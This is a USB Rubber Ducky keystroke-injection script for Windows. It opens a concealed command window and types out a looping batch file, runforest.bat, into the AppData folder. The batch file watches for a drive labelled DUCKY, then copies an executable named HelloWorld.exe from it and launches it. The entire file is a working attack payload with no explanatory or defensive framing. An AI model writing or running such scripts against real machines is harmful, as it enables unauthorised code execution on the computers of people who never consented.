payload.txt

DEFAULT_DELAY 75
DELAY 3000
GUI r
DELAY 1000
STRING cmd /Q /D /T:7F /F:OFF /V:ON /K
DELAY 500
ENTER
DELAY 750

STRING CD %APPDATA%
ENTER

STRING erase /Q runforest.bat
ENTER
DELAY 750


STRING copy con runforest.bat
ENTER
DELAY 2000
STRING @echo off
ENTER
STRING :wait
ENTER
STRING setLocal EnableDelayedExpansion
ENTER
STRING set usbname=DUCKY
ENTER
STRING for %%z in (A: B: C: D: E: F: G: H: I: J: K: L: M: N: O: P: Q: R: S: T: U: V: W: X: Y: Z:) do ( 
ENTER
STRING 	echo %%z
ENTER
STRING 	for /f "tokens=8" %%g in ('vol %%z ^| findstr "DUCKY"') do ( 
ENTER
STRING 		echo %volid%
ENTER
STRING 		echo/%usbname%|find "%%g" >nul
ENTER
STRING 			if %errorlevel% == 0 (
ENTER
STRING 			echo yes %%z
ENTER
STRING 			echo copy truc to %%z
ENTER
STRING 			copy %%z\HelloWorld.exe %appdata%
ENTER
STRING 			cd %appdata% && start HelloWorld.exe 
ENTER
STRING 			exit 
ENTER
STRING 			) else (
ENTER
STRING 			echo no
ENTER
STRING 			)
ENTER
STRING 	)		
ENTER
STRING )
ENTER
STRING timeout /t 2
ENTER
STRING goto :wait
ENTER
STRING exit
ENTER
CONTROL z
ENTER
DELAY 100
STRING cd %APPDATA% && start runforest.bat